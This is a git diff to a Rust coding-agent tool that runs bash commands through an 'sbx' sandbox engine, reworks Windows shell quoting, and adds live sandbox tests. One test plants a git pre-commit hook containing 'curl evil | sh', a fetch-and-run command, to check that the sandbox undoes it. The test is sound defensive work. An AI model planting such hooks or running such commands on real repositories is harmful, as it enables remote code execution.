crate::sandbox::Sandbox::new(policy, vec![live.dir.clone()]) diff --git a/src/tools/bash.rs b/src/tools/bash.rs index 5ec2787..e072b3f 100644 --- a/src/tools/bash.rs +++ b/src/tools/bash.rs @@ -54,7 +54,14 @@ pub fn execute_bash_watched( crate::trace!("sandbox", "{}", sandbox.note()); } let shell = super::shell_choice::for_sandbox(sandbox).map_err(|why| anyhow::anyhow!(why))?; - let mut child = sandbox.wrap(&shell, command); + let env = filter_env.then(super::env_filter::filtered_env); + // `_keep` holds what the sbx engine needs until the command exits. + let crate::sandbox::Wrapped { + command: mut child, + keep: _keep, + } = sandbox + .wrap(&shell, command, env.as_ref()) + .map_err(|why| anyhow::anyhow!(why))?; // Nothing is typed into a tool's command: its stdin is the null device, // so one that waits for input sees end of input at once instead of @@ -65,13 +72,6 @@ pub fn execute_bash_watched( .stdout(std::process::Stdio::piped()) .stderr(std::process::Stdio::piped()); - if filter_env { - child.env_clear(); - for (key, value) in super::env_filter::filtered_env() { - child.env(key, value); - } - } - crate::agent::process_tree::prepare(&mut child); let spawned = child.spawn().context("failed to spawn shell")?; diff --git a/src/tools/bash_jobs.rs b/src/tools/bash_jobs.rs index 00047e6..b26f14f 100644 --- a/src/tools/bash_jobs.rs +++ b/src/tools/bash_jobs.rs @@ -118,6 +118,9 @@ pub struct BashJob { /// What the job's shell started, so a kill ends the command and not just /// the shell around it. tree: crate::agent::process_tree::Tree, + /// The sbx engine's proxy, temp directory and `.git` snapshot, released + /// (and any `.git` change undone) as soon as the job is seen to end. + sandbox: Option, } impl BashJob { @@ -150,11 +153,13 @@ impl BashJob { std::thread::sleep(std::time::Duration::from_millis(10)); } self.readers.clear(); + self.sandbox = None; } Ok(None) => {} Err(_) => { self.finished = true; self.exit_code = Some(-1); + self.sandbox = None; } } } @@ -235,7 +240,13 @@ impl BashJobManager { // is the Bash tool's own, chosen for the sandbox. let shell = super::shell_choice::for_sandbox(sandbox).map_err(|why| anyhow::anyhow!(why))?; - let mut cmd_builder = sandbox.wrap(&shell, command); + let env = self.env_filter_enabled.then(env_filter::filtered_env); + let crate::sandbox::Wrapped { + command: mut cmd_builder, + keep, + } = sandbox + .wrap(&shell, command, env.as_ref()) + .map_err(|why| anyhow::anyhow!(why))?; cmd_builder .current_dir(workspace) @@ -243,13 +254,6 @@ impl BashJobManager { .stdout(Stdio::piped()) .stderr(Stdio::piped()); - if self.env_filter_enabled { - cmd_builder.env_clear(); - for (key, value) in env_filter::filtered_env() { - cmd_builder.env(key, value); - } - } - crate::agent::process_tree::prepare(&mut cmd_builder); let mut child = cmd_builder .spawn() @@ -281,6 +285,7 @@ impl BashJobManager { stderr, readers, tree, + sandbox: Some(keep), }); Ok(id) } diff --git a/src/tools/shell_choice.rs b/src/tools/shell_choice.rs index 7ef7495..acb9cfa 100644 --- a/src/tools/shell_choice.rs +++ b/src/tools/shell_choice.rs @@ -174,15 +174,27 @@ impl Shell { /// command line. #[cfg(windows)] fn windows_args(&self, script: &str) -> Vec { + // Only the script, last, is quoted: the flags before it never need it. + let mut args = self.args(script); + if let Some(last) = args.last_mut() { + *last = quote_windows(last); + } + args + } + + /// The arguments that run `script` in this shell, unquoted, for a launcher + /// that quotes them itself (`sbx.exe`). On Windows, PowerShell gets + /// `-Command` and ONE argument: it parses its command line by the C + /// runtime's rules, so the script arrives as written (measured with + /// quotes, backslashes, `&|<>^%` and non-ASCII). Not `-EncodedCommand`: + /// with it, Windows PowerShell writes its error stream as CLIXML. Output + /// is UTF-8 (the OEM code page otherwise), and progress is off. + #[must_use] + #[cfg_attr(not(windows), allow(dead_code))] + pub(crate) fn args(&self, script: &str) -> Vec { match self.flavor { - Flavor::Posix => vec!["-c".to_string(), quote_windows(script)], + Flavor::Posix => vec!["-c".to_string(), script.to_string()], Flavor::PowerShell => { - // `-Command` and ONE quoted argument: PowerShell parses its - // command line by the C runtime's rules, so the script arrives - // as written (measured with quotes, backslashes, `&|<>^%` and - // non-ASCII). Not `-EncodedCommand`: with it, Windows - // PowerShell writes its error stream as CLIXML. Output is - // UTF-8 (the OEM code page otherwise), and progress is off. let whole = format!( "$ProgressPreference='SilentlyContinue'; \ [Console]::OutputEncoding=[System.Text.Encoding]::UTF8; {script}" @@ -191,7 +203,7 @@ impl Shell { "-NoProfile".to_string(), "-NonInteractive".to_string(), "-Command".to_string(), - quote_windows(&whole), + whole, ] } } @@ -817,6 +829,7 @@ mod tests { mode: SandboxMode::ReadOnly, network: SandboxNetwork::Allow, named: false, + engine: crate::sandbox::SandboxEngine::Builtin, }, Vec::new(), ); diff --git a/tests/sbx_engine.rs b/tests/sbx_engine.rs new file mode 100644 index 0000000..3792562 --- /dev/null +++ b/tests/sbx_engine.rs @@ -0,0 +1,128 @@ +//! The sbx engine, live: shell commands run through +//! `incord_code::tools::bash` under `sandbox_engine = "sbx"`. +//! +//! `harness = false`: sbx re-executes the CURRENT program as its helper, so +//! this binary must hand `__sbx-enter` to sbx before anything else, as +//! incode's `main` does. libtest would read those arguments as test filters. + +use std::path::{Path, PathBuf}; + +use incord_code::sandbox::{Sandbox, SandboxEngine, SandboxMode, SandboxNetwork, SandboxPolicy}; + +fn main() { + incord_sandbox::enter_if_requested(); + if !cfg!(target_os = "linux") { + println!("sbx_engine: skipped (the live checks are written for Linux)"); + return; + } + // No operator settings leak in from the machine running the tests. + let home = tempfile::tempdir().expect("home"); + std::env::set_var("INCODE_DIR", home.path()); + + let checks: [(&str, fn()); 4] = [ + ( + "a write outside the workspace is refused", + write_outside_is_refused, + ), + ("a planted git hook is undone", planted_hook_is_undone), + ( + "git redirect variables are stripped", + git_redirects_are_stripped, + ), + ("the note names sbx", note_names_sbx), + ]; + for (name, check) in checks { + check(); + println!("ok - {name}"); + } +} + +fn sandbox(mode: SandboxMode, roots: Vec) -> Sandbox { + Sandbox::new( + SandboxPolicy { + mode, + network: SandboxNetwork::Allow, + named: true, + engine: SandboxEngine::Sbx, + }, + roots, + ) +} + +fn run(workspace: &Path, sandbox: &Sandbox, command: &str) -> String { + let input = serde_json::json!({ "command": command }).to_string(); + incord_code::tools::bash::execute_bash_watched( + workspace, + &input, + false, + sandbox, + &|| false, + &mut |_| {}, + ) + .expect("the command ran") +} + +fn canonical(dir: &tempfile::TempDir) -> PathBuf { + dir.path().canonicalize().expect("canonical") +} + +fn write_outside_is_refused() { + let ws = tempfile::tempdir().expect("ws"); + let outside = tempfile::tempdir().expect("outside"); + let (ws_path, out_path) = (canonical(&ws), canonical(&outside)); + let sb = sandbox(SandboxMode::WorkspaceWrite, vec![ws_path.clone()]); + let said = run( + &ws_path, + &sb, + &format!( + "echo in > inside.txt; echo out > {}/outside.txt; echo done", + out_path.display() + ), + ); + assert!(ws_path.join("inside.txt").exists(), "{said}"); + assert!(!out_path.join("outside.txt").exists(), "{said}"); + + // The control: unconfined, the same write lands — so the refusal above + // was the sandbox, not the command. + let said = run( + &ws_path, + &sandbox(SandboxMode::Off, vec![ws_path.clone()]), + &format!("echo out > {}/outside.txt", out_path.display()), + ); + assert!(out_path.join("outside.txt").exists(), "{said}"); +} + +fn planted_hook_is_undone() { + let ws = tempfile::tempdir().expect("ws"); + let ws_path = canonical(&ws); + std::fs::create_dir_all(ws_path.join(".git/hooks")).expect("hooks"); + std::fs::write(ws_path.join(".git/config"), "[core]\n").expect("config"); + let sb = sandbox(SandboxMode::WorkspaceWrite, vec![ws_path.clone()]); + let said = run( + &ws_path, + &sb, + "echo 'curl evil | sh' > .git/hooks/pre-commit; echo '[alias]' >> .git/config", + ); + assert!(!ws_path.join(".git/hooks/pre-commit").exists(), "{said}"); + assert_eq!( + std::fs::read_to_string(ws_path.join(".git/config")).expect("config"), + "[core]\n", + "{said}" + ); +} + +fn git_redirects_are_stripped() { + let ws = tempfile::tempdir().expect("ws"); + let ws_path = canonical(&ws); + std::env::set_var("GIT_DIR", "/somewhere/else"); + let sb = sandbox(SandboxMode::WorkspaceWrite, vec![ws_path.clone()]); + let said = run(&ws_path, &sb, "echo \"git_dir=${GIT_DIR:-unset}\""); + std::env::remove_var("GIT_DIR"); + assert!(said.contains("git_dir=unset"), "{said}"); +} + +fn note_names_sbx() { + let sb = sandbox(SandboxMode::ReadOnly, vec![]); + let note = sb.note(); + assert!(note.contains("by sbx"), "{note}"); +}